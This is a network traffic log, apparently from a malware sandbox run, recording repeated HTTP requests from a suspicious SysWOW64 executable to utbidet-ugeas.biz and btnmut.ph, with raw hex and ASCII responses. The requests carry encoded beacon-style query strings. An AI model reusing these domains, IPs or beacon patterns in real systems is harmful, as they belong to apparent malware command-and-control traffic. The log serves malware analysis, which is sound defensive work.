Sep 7, 2024 15:35:07.926264048 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.3	61411	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:07.936316013 CEST	201	OUT	GET /d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:08.437793016 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:08 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.3	61413	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:09.086427927 CEST	169	OUT	GET /d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:09.578429937 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.3	61414	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:09.587378979 CEST	201	OUT	GET /d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:10.098891973 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.3	61416	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:11.167176008 CEST	169	OUT	GET /d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:11.658231974 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.3	61417	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:11.664191961 CEST	201	OUT	GET /d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:12.355822086 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:12 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.3	61419	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:14.398159027 CEST	169	OUT	GET /d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:14.877209902 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:14 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.3	61420	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:14.896779060 CEST	201	OUT	GET /d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:15.386868000 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.3	61422	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:15.538516998 CEST	169	OUT	GET /d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:16.042725086 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.3	61423	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:16.053064108 CEST	201	OUT	GET /d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:16.535092115 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:16 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.3	61425	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:16.819772959 CEST	169	OUT	GET /d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:17.327594995 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:17 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.3	61426	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:17.333831072 CEST	201	OUT	GET /d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:17.816351891 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.3	61428	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:17.991661072 CEST	169	OUT	GET /d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:18.492641926 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:18 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.3	61429	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:18.499243021 CEST	201	OUT	GET /d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:19.003392935 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:18 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.3	61430	45.79.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:22.960108995 CEST	115	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: btnmut.ph Cache-Control: no-cache
Sep 7, 2024 15:35:23.449069023 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 07 Sep 2024 13:35:23 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.5.38 x-powered-by: PHP/5.5.38 cache-control: no-cache pragma: no-cache content-length: 1906 content-type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 76 61 72 20 66 6f 72 77 61 72 64 69 6e 67 55 72 6c 20 3d 20 22 2f 70 61 67 65 2f 62 6f 75 6e 63 79 2e 70 68 70 3f 26 62 70 61 65 3d 47 62 68 47 64 69 63 47 6f 6b 78 37 6a 32 25 32 46 74 57 6c 70 6c 63 4d 4c 48 4c 6a 64 39 46 4a 76 6d 47 57 45 71 64 68 6b 71 4a 68 33 58 4a 65 30 44 42 4c 78 71 61 55 4d 66 68 78 53 37 35 37 69 39 25 32 46 73 64 75 58 62 39 51 58 54 76 59 48 68 47 75 25 32 46 48 57 6c 62 69 71 4c 46 4a 38 32 73 4e 43 7a 74 69 53 41 71 75 78 45 57 69 35 46 47 52 42 53 4e 48 77 63 53 47 4b 70 5a 42 39 56 72 59 35 7a 65 6c 44 6b 44 46 5a 64 38 7a 54 4c 78 62 45 59 52 45 6c 57 25 32 46 4e 4c 6b 51 4e 72 43 4a 6a 39 4e 63 7a 76 58 69 7a 71 77 59 78 55 70 4c 48 70 48 58 4d 47 45 6a 45 79 43 78 37 67 48 68 69 4c 4b 6a 63 63 34 74 4d 78 52 31 71 75 5a 58 42 6b 6e 65 41 59 74 53 6b 32 62 42 42 64 69 44 49 53 49 35 31 4e 32 58 7a 4b 6a 54 47 4e 64 79 72 54 61 5a 67 52 51 34 75 64 47 4b 76 50 4d 78 54 69 6c 47 [TRUNCATED] Data Ascii: <html><head><script>var forwardingUrl = "/page/bouncy.php?&bpae=GbhGdicGokx7j2%2FtWlplcMLHLjd9FJvmGWEqdhkqJh3XJe0DBLxqaUMfhxS757i9%2FsduXb9QXTvYHhGu%2FHWlbiqLFJ82sNCztiSAquxEWi5FGRBSNHwcSGKpZB9VrY5zelDkDFZd8zTLxbEYRElW%2FNLkQNrCJj9NczvXizqwYxUpLHpHXMGEjEyCx7gHhiLKjcc4tMxR1quZXBkneAYtSk2bBBdiDISI51N2XzKjTGNdyrTaZgRQ4udGKvPMxTilGZqdAkHexGUv0ToB28QroUSF87OqeuI4VfQN6h1UZMtwnv24R6d%2FgydH4ywfNULxiB20bb9MaRdynIhevzXKBLLA3qnB5hBEgwzSxR1Wg8v7ET0W2B8IW5ojYLrdQKGOAjBzuIV%2B%2BBXfRhnyrpg%3D&redirectType=js";var destinationUrl = "/page/bouncy.php?&bpae=GbhGdicGokx7j2%2FtWlplcMLHLjd9FJvmGWEqdhkqJh3XJe0DBLxqaUMfhxS757i9%2FsduXb9QXTvYHhGu%2FHWlbiqLFJ82sNCztiSAquxEWi5FGRBSNHwcSGKpZB9VrY5zelDkDFZd8zTLxbEYRElW%2FNLkQNrCJj9NczvXizqwYxUpLHpHXMGEjEyCx7gHhiLKjcc4tMxR1quZXBkneAYtSk2bBBdiDISI51N2XzKjTGNdyrTaZgRQ4udGKvPMxTilGZqdAkHexGUv0ToB28QroUSF87OqeuI4VfQN6h1UZMtwnv24R6d%2FgydH4ywfNULxiB20bb9MaRdynIhevzXKBLLA3qnB5hBEgwzSxR1Wg8v7ET0W2B8IW5ojYLrdQKGOAjBzuIV%2B%2BBXfRhnyrpg%3D&redire
